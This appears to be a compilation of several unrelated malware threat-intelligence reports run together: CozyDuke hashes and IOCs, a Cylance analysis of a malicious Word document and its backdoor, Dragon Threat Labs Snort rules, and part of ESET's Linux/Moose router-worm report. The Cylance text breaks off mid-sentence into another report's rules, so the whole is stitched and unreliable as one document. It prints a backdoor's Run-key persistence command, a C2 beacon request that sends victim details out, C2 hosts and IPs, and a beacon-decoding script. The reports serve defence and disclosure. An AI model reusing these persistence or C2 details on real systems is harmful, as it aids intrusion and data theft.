Examples of this refactoring include for instance the switch from using the Pugi-XML library to using Microsoft s MSXML 3.0 for XML-related functionality. The latest CozyDuke main component we observed was compiled on the 26th of February, 2015. The core functionality of the latest sample is very similar to the previous sample from July of 2014, but the authors of CozyDuke have implemented a lot of additional functionality, as the increase in size from 279KB to 820KB would also suggest. COZYDUKE TERMINOLOGY AND NAMING Based on logging strings, variable naming and PDB strings found in CozyDuke samples, we observed the following: The internal name for CozyDuke is Agent The CozyDuke main component s functionality revolves around the execution of tasks that are often associated with modules It is possible that the name Agent is not the original internal name of CozyDuke and that the name was changed sometime in 2011 with the original project name being Agent_NextGen Sometime in 2011, CozyDuke was identified internally as being version 3 PDB strings found in early CozyDuke samples are listed in Table 4 (below). TABLE 4: COZYDUKE PDB STRINGS Compilation timestamp Mon Feb 13 13:07:04 2012 (UTC) Wed Dec 28 13:23:04 2011 (UTC) Thu Jan 26 13:57:00 2012 (UTC) PDB string E:\Visual Studio 2010\Projects\Agent_NextGen\Agent2011v3\Agent2011\Agent\tasks\bin\ GetPasswords\exe\GetPasswords.pdb D:\Projects\Agent2011\Agent2011\Agent\tasks\bin\systeminfo\exe\systeminfo.pdb \\192.168.56.101\true\soft\Agent\tasks\Screenshots\agent_screeshots\Release\agent_ screeshots.pdb APPENDIX A APPENDIX A | SAMPLE HASHES 00f67deb6e435c68f8a39336c9effc45d395b134 01d3973e1bb46e2b75034736991c567862a11263 034481acd945028f4521cf0eaa3685c6202f9e19 04aefbf1527536159d72d20dea907cbd080793e3 08facf0ae484f5bc7b066bbdd382e683fdfcba77 0a38765d599865dabc394287e61f5e8f6ac442c5 1051f814b33991a1f8e551759ead44b8ee7fc2c9 1a3825ef1064c2bbea5169671ef62030b00875ca 1d734a26184005603605aab67eba76d7d5ec3b8c 1e02eea130d17b9afb712d846612ab8bd6972183 210bc99275368df7ea179055737cffc3a12a6614 23e20c523b9970686d913360d438c88e6067c157 2564d7d42384bd3dce7257ef4a0a4b0cedac635b 259b4679c26625c452141861014fe2f2c336462b 26d030c93c517d63147f502bf6536c3914698821 29686320a3f06030f7192ca5b4f3eb47e73cb470 29a91e7823046f4ec3fd6b3fd1b442eaa92f3565 31163d35c5a3caa5e82e1d9b0d1b4db8fbdd79fa 32b0c8c46f8baaba0159967c5602f58dd73ebde9 33beb7a410f1cd699733000b5b30b5e4eb2062ba 3583647ef8158e29e3c18413ece70c2851720926 365cbfe32a79ce41b049dd85bb30afc51ba1ea6f 37144694cfa953ab7acd376c033beda45cc95f4d 3a624b196576b03d327b43247a975da44688ffda 3b297f0ca7750c0c74e5f931fec1528fe1ba6bc9 3c8ba7ca3675ecc75855a58b9c0527d067c88f86 3f0be1751afa9cb0fdd6bc6fc9874dd880bc8c1b 41bb403d2549db95cfc6c851ef92ad26bdf2e906 42cfe068b0f476198b93393840d400424fd77f0c 42fadc443025a132f833a4a5ed8a5350f79a86cc 43a979aa6ab08685d9ce949c67e19bebbb3c3559 443bc2e77b10ae64af6321c2c7bfd311c0772503 44406a80f13045442ce6a28ee62a923ac8f8c56a 482d1624f9450ca1c99926ceec2606260e7ce544 4975293c49ca223013088e51b8378e935322fe93 49fb759d133eeaab3fcc78cec64418e44ed649ab 4a16674c799fae6535c82f878f6a37f94ee9a49b 5150174a4d5e5bb0bccc568e82dbb86406487510 55bd71353408cdda1bdbbd54bc70b4c595d70e56 56ac317ed78f8016d59cb41e9283b1c08cbf149f 5bcd74e0c3c661580201e7d8122d7525a1480b4c 5d3b82cdea4ae066efd5d127c7dd222adee62d0b 5d4535df615a30b87b57facf4babf8d506e86a07 5ffe420a3cc848024884db8e2cfed68c47368dae 6502bffbd1324071c7461c50a2552e48084560ae 662d3cb303450abae2b88699c7f48d74f84f0d5a 669b7c98f0f697b91e95804dacdfe55fae3f0a85 69c82f6ca382bd2205d55b89f2e842b4790bda62 6b5ef7b76b35203dd323af49bfa27cfa7e1b6376 6b64ed0f4e39a1c320c7cbd342a93faed9f5df86 71c59eaa445346251467942bac489a9d4e807f7f 75aeaee253b5c8ae701195e3b0f49308f3d1d932 75e03a17d49d1b052770a21520bc13b14fc6c607 7765a0869530c1a17b8fd339bbe55cc4c1bdba30 78e9960cc5819583fb98fb619b33bff7768ee861 7c710cf31f20ef7e0ad1809672255d4edfdff052 7c79e3205323b9917f9eedcd3d5a891d87ddf256 7cda99eefb5150b87278f9bcf6ac0bde534b99e8 80935ac2ab3cf5b2900b49f6982a6a3f4575367c 81affba765aa87a0d0b12b5a213f09fd51e1e9a1 87668d14910c1e1bb8bbea0c6363f76e664dcd09 883292f00e5836f99a1943a6e0164d8c6c124478 8ad2003b99d92dfb9d85912ee6a39c46b1ec8137 8b357ff017df3ed882b278d0dbbdf129235d123d 8ba7932a40008881a4ed975f52271c0b679eaff2 8bc2d5aa1f384d56f3e921bce5326de8ff4dce2d 8c3ed0bbdc77aec299c77f666c21659840f5ce23 8cc326473fd30ab5c97709e5a91fb04e18e72e96 8f1ac45360196a7b5a1680ff839a131394e9d9b4 8f467b32f1ec0f3b2efe10b3fed2a14b16075702 9319bf72000f8e468c182947dd5c82fb8b9ae419 93d53be2c3e7961bc01e0bfa5065a2390305268c 93ee1c714fad9cc1bf2cba19f3de9d1e83c665e2 94520b93510db0dc10387a65e0a46f45ab501226 975b86c329c537f763f94a3f12610304dd358ff8 9b56155b82f14000f0ec027f29ff20e6ae5205c2 9dc6bbc34933ffecbfbb454788bab4230fcc2c65 9e156f41ff9c17692c9eba5bdb67ac14f0c0473f 9f8f1672594a6fbac43793c857dd7718e75f328a a38ea2533e3dfa6339726aafd4bc2bc7e3eec529 a7a00f35797db2db9302625be456671911896d27 a99d8313876015fcf1b783d38fee9e9c3cde088c ac2b5928f46069111f4334f650a7dbf1b5f026d5 b26bc0a3e35c474f7099bd2b066f1680f3394b14 b2b2e5c5a6f8a07f051aab14fbec1f6607888b50 b47e711845d03c389004c912b3fbfc59228bb18c b5e973df0a159ab583fc8923c796c8cbf5b535df ba29768a2452a0e3abde02a903e53a181ee05bc8 bdd2bae83c3bab9ba0c199492fe57e70c6425dd3 bf265227f9a8e22ea1c0035ac4d2449ceed43e2b bf9d3a45273608caf90084c1157de2074322a230 c02b8c2bc15dd8a7110e5f1765716464bf421591 c117608dab3ab632de8110f8981dd7e773c61d05 c3d8a548fa0525e1e55aa592e14303fc6964d28d c3fde950fe7d668805b40b1680d519f20c18b899 c5ef4c31693845d492285e5f1c7ff3c293f99976 c62e840ffe4bba50f6584b33a877475f0ebcf558 c6472898e9085e563cd56baeb6b6e21928c5486d c7b91ff3cc69dab807016aa76d0c261411ccf27d c8fe2296565c211e019cdad3918a5736d4b12d44 caa1083d2f20be0858e8d3d0671c042d0455a657 cb7652aede9b1b7d756019f44c25fb0263498313 ccf83cd713e0f078697f9e842a06d624f8b9757e ce9d077349638ffd3e1ad68cda76c12cfb024069 cebcf2f495c3b95138128d0577dcac5cde29490d d12e4f164a4734e8136da85001750157014d012c d3254f1f4c4def8c023982dfb28fa31e91b69ab5 d5cbf554e4e700b37ddcb026d4407fcd87032d87 d89fc09f1aa72547d4b7f022470b6c8362997a5f daa651188610fd9c5a6987109e7ee5504d72a35d e0779ac6e5cc76e91fca71efeade2a5d7f099c80 e2d0edf2e7d4a09fad732d4113d970a56e9a6667 e76da232ec020d133530fdd52ffcc38b7c1d7662 e99a03ebe3462d2399f1b819f48384f6714dcba1 ea0cfe60a7b7168c42c0e86e15feb5b0c9674029 eb851adfada7b40fc4f6c0ae348694500f878493 efd41300ccf4143d04664715e1de98cb416ffdd1 f2ffc4e1d5faec0b7c03a233524bb78e44f0e50b f33c980d4b6aaab1dc401226ab452ce840ad4f40 f38040c70024fe9e305af5a3687e0d5993bb9e96 f7693e5d39db067d97cd91fb22522f94c59fda3d f7d47c38eca7ec68aa478c06b1ba983d9bf02e15 fb1b1dc288d68f695f88c5ac036b3ab1c4f5e850 feb9424386af47d550b13614c78530bc06ec876e APPENDIX B APPENDIX B: IOCS Filenames (Note: we believe many of these to be borrowed from legitimate files) agent_wininet_dl.exe amdh264enc32.bin amdh264enc32.dll amdhcp32.dll amdhdl32.dll amdmftdecoder_32.dll amdmftvideodecoder_32.bin amdmftvideodecoder_32.dll amdmiracast.dll amdocl_as32.exe amdocl.bin amdocl_ld32.exe amd_opencl32.dll amdpcom32.bin atiadlxx.bin atiadlxx.dll atiapfxx.exe atibtmon.exe aticalcl.dll aticaldd.dll aticalrt.dll aticfx32.bin aticfx32.dll atidemgy.bin atidxx32.bin atidxx32.dll atieclxx.exe atiesrxx.exe atiglpxx.dll atiicdxx.dat atikmdag.sys atimuixx.dll atiodcli.exe atiode.exe atioglxx.bin atisamu32.dll atiu9pag.bin atiuxpag.dll ativce02.dat ativvaxy_cik.dat ativvaxy_cik_nd.dat ativvsva.dat ativvsvl.dat autorun.dll autorun_com.dll autorun_curver.dll clinfo.exe coinst_13.152.dll observers.dll ovdecode.dll wininetp.dll User agent strings Java/1.8.0_25 Java/1.8.0_26 iTunes/12.0.1 (Windows; N) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome /34.0.1847.137 Safari/537.36 Mutexes Mtx qdfrty AgentMutex Cylance SPEAR Team: A Threat Actor Resurfaces May 13, 2015 By Jon Gross(http://blog.cylance.com/author/jon-gross) Share This: Attackers typically shut down campaigns or halt activity after they are exposed by security researchers, thereby creating the impression they have dropped off the map. This often leads to a false sense of security within the community and perpetuates the idea that public exposure makes us all safer. While the exposed activity is no longer observed, attackers simply continue in the background evolving or altering their tactics to seamlessly continue operations with increasingly advanced malware. So while potentially making us safer in the short-term, exposure often forces a Darwinian evolution in malware. Several months ago I examined a malware-tainted Word document titled ISIS_twitter_list.doc. I didn t think much of it and quickly moved on after a cursory analysis. Yet I recently uncovered evidence that suggests it was the work of a well-known Chinese threat group. This group is known to have targeted U.S. government agencies, defense contractors, aerospace firms and foreign militaries since 2009. Until now, it was widely believed the actor's activities had largely subsided in 2013, following numerous public disclosures and detailed analyses of their backdoors. Our technical analysis shows the group has remained active. We are releasing this data to help victims identify and remediate the threat. Click here(http://blog.cylance.com/spear-a-threat-actorresurfaces#mitigation) to get to recommended mitigations, or for all the technical details read on: It all began with the MIME encoded document "ISIS_twitter_list.doc", which exploited the familiar CVE-20120158(http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158) and was first uploaded to Virustotal from a user in India. Other targets identified were predominantly located in Australia, New Zealand, Vietnam and the United States. File Details Name ISIS_twitter_list.doc SHA256 6ba1d42c6493b18548e30bd60ca3d07a140d9d1945cf4e2b542e4a6d23913f40 File Size 146,338 bytes The first stage shellcode searches for the marker "GfCv" then checks the next four bytes are "EF FE EC CE" in the document then decodes the second stage shellcode using the four-byte XOR key "0x29F7C592". This second stage finds and decodes an encoded executable beginning at offset 0x33A2. The binary is encoded using a variable 4-byte XOR key that is generated by starting with the 4-byte key 0x7FFEFC00; this XOR key is then permutated every four bytes by rotating the first two bytes of the key by 0x1 and shifting the bits of the next two bytes right by 0x1, so the next 4-byte XOR key in the series would be 0x3FFF7E00. It includes some logic to exclude XOR'ng any bytes that match 0x00000000 or the current 4byte XOR key. For the binary mathematically impaired like myself the 4-byte keys will eventually repeat in effect creating a 256-byte XOR key. The decoded binary will be written to the filesystem as "%APPDATA%\Microsoft\Systemcertificates\Certificates.ocx". File Details Full File Path SHA256 File Size Compile Time %APPDATA%\Microsoft\Systemcertificates\Certificates.ocx 9d838fd9d21778ed9dc02226302b486d70ed13d4b3d914a3b512ea07bf67e165 107,008 bytes 2/4/2015 8:41:42 UTC The malware does not execute immediately after successful exploitation and instead just creates a Run key in the current user's hive which will execute the next time the victim user accesses the system. Registry Persistence Key Registry Key Value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Certificates Rundll32.exe "%APPDATA%\Microsoft\SystemCertificates\Certificates.ocx",Setup The ocx file is actually a DLL and provides the attacker the ability to upload, download, enumerate, delete, search, and execute files as well as list drivers on the system. The binary is designed to be called from its one exported function, "Setup"; the Run key will ensure that whenever the victim user logs into the system the backdoor will execute. The binary is configured to communicate to "www.microsoftservices.proxydns.com" on port 80 using standard HTTP POST and GET requests. The domain at the time of this report resolved to the IP address, "103.229.125.157". Additionally the dynamic DNS domains "fighthard.mooo.com" and "rampage.freetcp.com" have both historically resolved to this IP address. Example initial beacon request: GET /login?wd=hvJZkcIvKKupNRlsqI0aN6jZDTYPz6ZS9QH5bCXiER37jqqCDzS3wIUulYOjyKHcDomZCD72mAc4fSCoHhJJ1UQliBkraMepzS5J3UUFUHnofoOgVM02UlCs4LJANIuZH90vM5KH_Ih59DdVRbgQ== HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Host: www.microsoftservices.proxydns.com Cache-Control: no-cache The above beacon request can be decoded by base64 decoding with this alphabet, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_". Then RC4 decrypting the resulting string using the first four bytes of the payload as the decryption key. The following python script will make this easy: from Crypto.Cipher import ARC4 import base64,binascii,string def customb64decode(s): newalphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_' oldalphabet = string.uppercase + string.lowercase + string.digits + "+/" s = s.translate(string.maketrans(newalphabet, oldalphabet)) return base64.b64decode(s) req = "hvJZkcIvKKupNRlsqI0aN6jZDTYPz6ZS9QH5bCXiER37jqqCDzS3wIUulYOjyKHcDomZCD72mAc4fSCoHhJJ1UQliBkraMepzS5J3UUFUHnofoOgVM02UlCs4LJANIuZH90vM5KH_Ih59DdVRbgQ==" unb64 = customb64decode(req) rc4 = ARC4.new(unb64[0:4]) dec = rc4.decrypt(unb64[4::]) print dec Decoding the string will yield the following: k:9C18CDFE s:masst h: u: o:win32.5.1.2600.2.1.Service Pack 3 m: Where k: is a unique identifier for the victim, s: is a campaign identifier included in the backdoor, h: is the hostname of the victim computer, u: is the victim user, o: is the operating system and service pack level, and m is the mac address. Based upon some cursory analysis the backdoor will look for encrypted commands within HTML comments returned from the C2 using the following format: " $EXTERNAL_NET [80,443] (msg:"MALWARE DTL ID 12012015 - PcClient beacon"; flow:established,to_server; content:"|BB 4E 4E BC BC BC 7E 7E|"; nocase; offset:160; depth:8; classtype:trojan-activty; sid:YOUR_SID; rev:20122014;) Malware domain alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"MALWARE - DTL ID 12012015 - C2 Domain"; content:"|06|aoemvp|03|com"; classtype:trojan-activity; sid:YOUR_SID; rev: 20122014;) C2 server IP #1 alert ip $HOME_NET any <> 45.64.74.101 any (msg:"MALWARE - DTL ID 12012015 C2 IP Address"; classtype:trojan-activity; sid:YOUR_SID; rev: 20122014;) C2 server IP #2 alert ip $HOME_NET any <> 103.229.127.104 any (msg:"MALWARE - DTL ID 12012015 - C2 IP Address "; classtype:trojan-activity; sid:YOUR_SID; rev: 20122014;) Dragon Threat Labs, Hong Kong Page 13 Appendix The following artefacts were found during the investigation MD5s a6a18c846e5179259eba9de238f67e41 55f84d88d84c221437cd23cdbc541d2e a6a18c846e5179259eba9de238f67e41 279ef79f904476ba0f9f44c87358bb1f 42b76c0503a6bf21f1ea86e0b14d67ea cff25fe24a90ef63eaa168c07008c2bb ad17eff26994df824be36db246c8fb6a f66b64ef984ac46ac7395358059979bc efd9dc39682312d6576468f5c0eb6236 Network artefacts c.aoemvp.com aoemvp.com lim.kiu@hotmail.com 45.64.74.101 103.229.127.104 Dragon Threat Labs, Hong Kong Page 14 Contact For all questions relating to the publication or specifics in this document please contact us via one of the following methods: Twitter: @dragonthreatlab Website: http://dragonthreat.blogspot.hk Email: dragonthreatlabs@gmail.com Kind regards, Dragon Threat Labs Dragon Threat Labs, Hong Kong Page 15 Dissecting Linux/Moose The Analysis of a Linux Router-based Worm Hungry for Social Networks Olivier Bilodeau & Thomas Dupuy May 2015 Dissecting Linux/Moose The Analysis of a Linux Router-based Worm Hungry for Social Networks Olivier Bilodeau & Thomas Dupuy May 2015 TABLE OF CONTENT 1. Executive Summary 2. Hunting Season Introduction 3. Moose s Behavior an Overview 4. Moose Herding The Operation 4.1. Moose population Prevalence 4.2. Moose habitat Targeted devices 4.3. Moose Motivation Why Social Networks? 4.4. Moose Taking Selfies Deep into Instagram 4.5. Multiple trails in the Moose yard Alternative Attack Scenarios 5. Moose DNA Malware Analysis 5.1. Moose Reproduction Infection Vector 5.2. Going Deep in the Tundra Spreading Past Firewalls 5.2. Moose Crossing Proxy Service 5.4. Moose s Sense of Smell Sniffing Capabilites 5.5. Competitive Moose Cleaning other Malware 5.6. Moose Communication Configuration C&C Server Protocol 5.7. Evolution of the Species Malware changelog 6. Conclusion Appendix A: Malware samples Appendix B: Indicators of Compromise (IOCs) Network-based Indicators Host-based Indicators Detection (yara) Appendix C: Cleaning Appendix D: Prevention Appendix E: Potentially targeted vendors LIST OF TABLE Table 1. Report Telnet login protocol Table 2. Reply to Telnet login report Table 3. Report shell access protocol Table 4. Report shell access response Table 5. Partial List of Moose's Configuration Flags Table 6. Moose Configuration Values Affecting the Behavior of the NAT Traversal Table 7. Moose relay C&C server response Table 8. Moose NAT traversal supported commands Table 9. Proxy Server Worker Commands Table 10. Report sniffed packet Table 11. Response to a report sniffed packet Table 12. Moose requests to configuration C&C server Table 13. Moose configuration C&C server response Table 14. Moose header configuration C&C server response Table 15. Moose whitelist item Table 16. Moose sniffer configuration item Table 17. Malware Samples LIST OF FIGURES Figure 1 Linux/Moose overview Figure 2 Proxy Traffic per Destination Port Figure 4 HTTPS Destination Analysis Figure 5 Proxy activity categorized by destination type Figure 6 Port 10073 Activity Figure 7 Scanning behavior over 24 hours Figure 8 Instagram Proxied HTTP Traffic Figure 9 Moose Components Figure 10 Moose Scanner Behavior Figure 11 Reporting a Peer Found to the Configuration C&C Server Figure 12 Report Telnet login example Figure 13 Moose Infection Mechanism Figure 14 Scan from the Internet or near home Figure 15 Netmask check Figure 16 Loopback check Figure 17 NAT traversal tunnel in action Figure 18 Moose Whitelist Validation Assembly Figure 19 Example of a SOCKS 4 tunnel Figure 20 Looking for CONNECT method Figure 21 Sniffing Network Traffic Figure 22 Capture of a Configuration Exchange with C&C Dissecting Linux/Moose 1. EXECUTIVE SUMMARY Linux/Moose is a malware family that primarily targets Linux-based consumer routers but that can infect other Linux-based embedded systems in its path. The compromised devices are used to steal unencrypted network traffic and offer proxying services to the botnet operator. In practice, these capabilities are used to steal HTTP Cookies on popular social network sites and perform fraudulent actions such as non-legitimate "follows", "views" and "likes" on such sites. Linux/Moose is a standard statically-linked ELF binary that was stripped of any debugging symbols. It relies heavily on multithreading for its operation using as many as 36 threads. Most of these threads are used to attempt find and infect other devices automatically. The threat displays out-of-the-ordinary network penetration capabilities compared to other router-based malware. Moose also has DNS hijacking capabilities and will kill the processes of other malware families competing for the limited resources offered by the infected embedded system. ESET researchers ran and monitored a Moose-infected environment and collected operational information about the threat. This information includes which social networks were targeted and the unencrypted interactions between the operators, the infected host and the targeted social networks. Linux/Moose does not have a persistence mechanism and does not provide a generic backdoor shell access to the botnet operator. No vulnerability is exploited at any time during its operation; it spreads by finding routers with weak credentials. This report contains an overview of the operation and an in-depth analysis of the threat, details of its network protocol, indicators of compromise (IoC), cleaning instructions, prevention advice and the list of potentially targeted vendors. Key findings Linux/Moose targets consumer routers and modems including the hardware provided by Internet Service Providers (ISPs) to consumers The threat is built for deep network penetration spreading past firewalls It can eavesdrop on communications to and from devices connected behind the infected router, including desktops, laptops and mobile phones Moose runs a comprehensive proxy service (SOCKS and HTTP) that can be accessed only by a specific list of IP addresses The operators use the infected devices to perform social network fraud on Twitter, Facebook, Instagram, Youtube and more Moose can be configured to reroute router DNS traffic, which enables man-in-the-middle attacks from across the Internet It affects Linux-based embedded devices running on the MIPS and ARM architectures Dissecting Linux/Moose 2. HUNTING SEASON Introduction At ESET we like to investigate exotic threats. Whether they run on atypical architectures like MIPS or ARM, or they target embedded networked devices like consumer routers or Internet of Things (IoT) devices instead of desktops or phones or they are designed to obscure their end goal, these threats arouse our curiosity. There are other reasons, of course, for a threat to be considered exotic but, the threat under study here fits all the above categories. In fact, the only thing that not exotic about it is the name we ve given it: Linux/Moose1. Well, at least for those of us at ESET Canada Research. This report is divided into two sections: a description of what we know about the operation, followed by a detailed technical description of the threat. Before going in too deep into the operation, though, we need to give you a high-level sense of what Moose can do. For the curious: the original malware binary filename as installed on the router is elan2. lan is French for Moose. Dissecting Linux/Moose 3. MOOSE S BEHAVIOR an Overview The high-level capabilities of this worm are: Replicate on the Internet and by way of any LAN interfaces behind firewalls Service listening on port 10073 that allows specific IP addresses to proxy through the infected device. HTTP/HTTPS and SOCKS proxying Tunnel traffic from a relay C&C server to other hosts (effectively circumventing NAT protections) Eavesdrop on network communications and send some of the captured traffic to a report C&C server Periodically kill processes launched by competing embedded malware Interestingly, missing from this list is the persistence mechanism (there isn t any) and the fact that no generic backdoor shell access is made available to the botnet operator. Last but not least, this threat spreads only by compromising systems with weak or default credentials. No vulnerabilities are exploited by the malware. Although downplayed by system administrators, this attack vector has been effective at compromising a lot of Internet-connected systems. As FireEye recently stated: Brute forcing credentials remains one of the top 10 most common ways an organization is first breached. As we have found out, the malware s main payload its generic proxy service is used solely to perform social network fraud. The story is similar for stolen traffic which targets browser cookies. Dissecting Linux/Moose With that understanding we summarize the threat graphically below: Operator Stolen browser cookies Internet Victim [...] Scanning all networks for devices to infect Other routers Social network fraud Figure 1 Linux/Moose overview Linux/Moose will periodically communicate with a set of command and control servers (C&C) that are hardcoded into the malware itself. The randomly picked C&C server, henceforth the configuration C&C server, will provide configuration information that will affect the behavior of the malware. In that configuration two IP addresses will be referred to several times in this report: the IP address of the C&C server to use for reporting and infection, dubbed the report C&C server, and the IP address of the C&C server to use for relay (NAT traversal), dubbed the relay C&C server. Dissecting Linux/Moose 4. MOOSE HERDING The Operation When looking at the broad possibilities of this malware it is not immediately obvious what its exact purpose is. It could go in many directions, from DDoS, to compromise of networks, and expose private servers to the operator (via proxy), steal important yet unencrypted traffic, or perform man-in-the-middle attacks via DNS hijacking. It was not until we were able to decrypt our first configuration from the configuration C&C server that we were able to start to grasp what the operators were after. When we started running our own infected devices then the purpose became crystal clear. This threat is all about social network fraud. First, analysis of the configuration indicated that the data that the bot is trying to steal is HTTP cookies from popular social networks. Twitter: twll, twid Facebook: c_user Instagram: ds_user_id Google: SAPISID, APISID Google Play / Android: LAY_ACTIVE_ACCOUNT Youtube: LOGIN_INFO Additionally, by monitoring one infected router which we firewalled in order to prevent it from infecting others we were able to establish the nature of the traffic proxied through these routers. We collected this proxy data for almost a month in the spring of 2015. Operator (HTTP) Others HTTP 77.64% HTTPS Figure 2 Proxy Traffic per Destination Port Dissecting Linux/Moose What is highlighted here is that most of the traffic going through the proxy is encrypted. The operator traffic is carried via HTTP over a non-standard port (TCP 2318). It is used to communicate the external IP address of the infected device to the client at the other end of the proxy. It is worth noting that most of the HTTP traffic is for the Instagram social network and is upgraded to HTTPS right away using a Location: header. Figure 3 Instagram server upgrades client connection to HTTPS using a Location header The SOCKS proxy overhead (1) and the redirection to use HTTPS instead of HTTP (2) can be seen in the capture. Although we can t see the content of the encrypted traffic, we can look at the destination IP address. Furthermore, we can inspect the certificate identifying the server and its Common Name (CN) a mandatory attribute that allows to authenticate the website giving us an accurate description of the destination of the proxied traffic. Dissecting Linux/Moose Yandex Soundcloud Yahoo Others (Youtube, Yandex, Yahoo) Amazon Cloud Instagram Youtube Twitter / Vine Figure 4 HTTPS Destination Analysis During our monitoring, the top 3 targets were Twitter, Instagram and Soundcloud. We regrouped the "Others" in a separate pie chart to make the graph readable. In addition to the encrypted data, we looked at the autonomous systems (AS) where the proxied traffic was going and cross-referenced it with passive DNS information. Using this method we were able to compile the list of targeted organizations below: Fotki (Yandex) Instagram (Facebook) Live (Microsoft) Soundcloud Twitter Vine Yahoo Youtube (Google) Dissecting Linux/Moose We can also look at how much requests are made through the proxy and for what purpose was the proxy used. This is summarized in the below graph. Figure 5 Proxy activity categorized by destination type Social networks is the number of proxy requests with a destination related to social networking sites as identified by the certifacate CN, passive DNS information or the IP address AS. botnet traffic is the number of proxy requests sent to C&C and was always related to the previously mentioned TCP port 2318. Other is any proxy request that didn t fit the above categories. The graph highlights that infected hosts are leveraged only to access social networks and that, on average, more than 500 requests per day will go through an infected router. Unfortunately, since most of the traffic is encrypted, we can only speculate about what they are doing, even though we can make a shrewd guess. We will get to that eventually but first lets look at how big this threat is. 4.1. Moose population Prevalence Despite all our efforts we were unable to make a reliable estimate of the number of affected routers. This is due in part to the fact that the malware was built to make it hard to make an estimate. There is no peer-to-peer protocol, it uses a hardcoded IP address instead of DNS for C&C, and even though the backdoor is listening on the Internet on port 10073 to offer its proxy service, only IP addresses in a whitelist are allowed to connect. Another reason for our lack of success is the lack of security tools ecosystems (like Anti-Virus) on embedded systems. Finally, the hosting providers where the C&C are located were relunctant to cooperate, which didn t help. This section will list all other attempts we have made at estimating the population of this malware. Dissecting Linux/Moose Probes on the Internet Something we can use to give us a sense of the activity level of this threat is the general network activity on the Internet Storm Center s probes regarding port 10073. Since this port is unassigned by the IANA, and is not in use by any popular software, abnormally high volumes of traffic on that port could be an indicator of Moose activity. Port 10073 Activity Figure 6 Port 10073 Activity Although we couldn t find precise documentation, we believe that sources and targets represent whether the packet seen on the ISC s probe going for port 10073 was from the source side or the target side of the probe. In themselves the numbers might paint an incomplete picture, since the probes are seeing just a subset of the Internet traffic but if we compare them with HTTPS traffic over the same period, we see that Moose activity was roughly only an order of magnitude below HTTPS. We can also see a clear rise in 2014 that is too sharp to be statistically irrelevant. We first met Linux/ Moose in late July 2014. Since the beginning of 2015 there seems to be a decline in activity but we know that the operators are still active since they keep updating their malware. The fact that they can remotely control the intensity of scanning activity on port 10073 might account for the apparent decline in traffic. Dissecting Linux/Moose Moose Aggressiveness Another measure of prevalence is the aggressiveness with which the bot spreads. We ran one infected host for 24 hours and measured its level of activity and its success rate at finding potential peers or connecting to exposed Telnet services. Here are our results: Telnet Hosts with Login Prompt 10073 Connection Attempts Potentially Infected Hosts Telnet Connection Attempts 180000 10073 Responding Hosts 135000 Telnet Responding Hosts 90000 45000 Figure 7 Scanning behavior over 24 hours Over 24 hours, almost 170000 connection attempts were made on port 10073, meant for 23000 unique hosts. Of those, 36 completed the TCP handshake, which means that they might be infected, or they have another service on this port2, or they are firewalled weirdly3. 85000 Telnet connection attempts were made on 18000 unique hosts, of which 161 responded with a login banner. These numbers have to be taken with a grain of salt since they depend heavily on the type of hardware on which the malware runs. We ran it under software emulation which is usually way slower than real hardware in a virtualized Intel server which is way more powerful than most routers. In other words, we don t know how these numbers compare to real infected hardware but we tend to think that they should be comparable. Internet scan Finally, we asked our friends at Rapid7 to scan the Internet on both port 10073 and 23 (Telnet) in order to get a sense of how many Internet-facing devices listen to both ports. It turns out about 1 million IP addresses fit that description. If we remove the devices that had no Telnet banner, that number is reduced to around 50,000 potentially infected hosts. Still, this number is probably an overestimate because of the wild nature of the Internet and yet might also be an under estimate since many publicly unreachable and therefore uncounted devices might be infected. All of these indicators taken together, while only educated guesses, leads us to think that this threat is real and should be taken seriously. Although possible, we randomly inspected a sample of the servers and saw very few with actual responding services on the 10073 port TCP FIN instead of RST or dropping the packets, which is usually the best practice Dissecting Linux/Moose 4.2. Moose habitat Targeted devices Linux/Moose requires a Linux-based system because of its dependency on Clibc, a popular C library for embedded systems. Plenty of embedded systems are now running Linux from consumer routers to carrier-grade network gear through Internet of Things (IoT) appliances. Some affected devices are easier to identify than others. For instance: upon launch, the malware checks whether the file /home/hik/start.sh exists on disk. This path is usually associated with Hik Vision DVRs which are being targeted by embedded malware. Another means of identification is to look at what routers support the methods used to perform DNS Hijacking. Last but not least is to look at what devices are affected by the threats that Linux/Moose tries to eliminate when it runs. Here is a list of vendors we know are being targeted: Vendors Confirmed as Being Affected Actiontec, Hik Vision, Netgear, Synology, TP-Link, ZyXEL, Zhone IoT but even medical devices Based on recent security research we have enough evidence to state that even medical devices like the Hospira Drug Infusion Pump could be infected with Linux/Moose. Of course, just as is the case with IoT, these devices are currently more collateral damage than deliberate targeting. Due to time constraints and hardware availability, we have been unable to confirm so far that certain vendors are definitely targeted. We would love to be able to crowdsource an accurate targeted vendors list. See the full list of potentially targeted vendors in the appendixes for vendor names and validation instructions. As to why some of these devices would ever be attacked by the malware? Well, there is the malware ability to reach behind firewalls but we must not forget what we have learned in 2012 via the Carna Botnet: A lot of devices and services we have seen during our research should never be connected to the public Internet at all. As a rule of thumb, if you believe that "nobody would connect that to the Internet, really nobody", there are at least 1000 people who did. Whenever you think "that shouldn t be on the Internet but will probably be found a few times" it s there a few hundred thousand times. Like half a million printers, or a Million Webcams, or devices that have root as a root password. Internet Census 2012 (Carna botnet) 4.3. Moose Motivation Why Social Networks? During our analysis we often asked ourselves, Why so much effort in order to interact with social networks? Then we realized that there is a market for follows, likes, views and whatnot. It is pretty clear that this is what is going on here. First, as previously mentioned, there are attempts at stealing cookies from these sites. However, the cookies cannot be stolen if the traffic is HTTPS and now most of these sites are HTTPS-only, so it s unclear how effective these attacks are in this respect. Second, attempting to commit fraud upon these sites needs a reputable and disposable IP address. If someone tries to register 2000 twitter accounts from his own IP address this will likely draw attention. To a social network site operator, there is probably nothing more reputable than an IP address behind a well-known ISP. Just the type of network where you 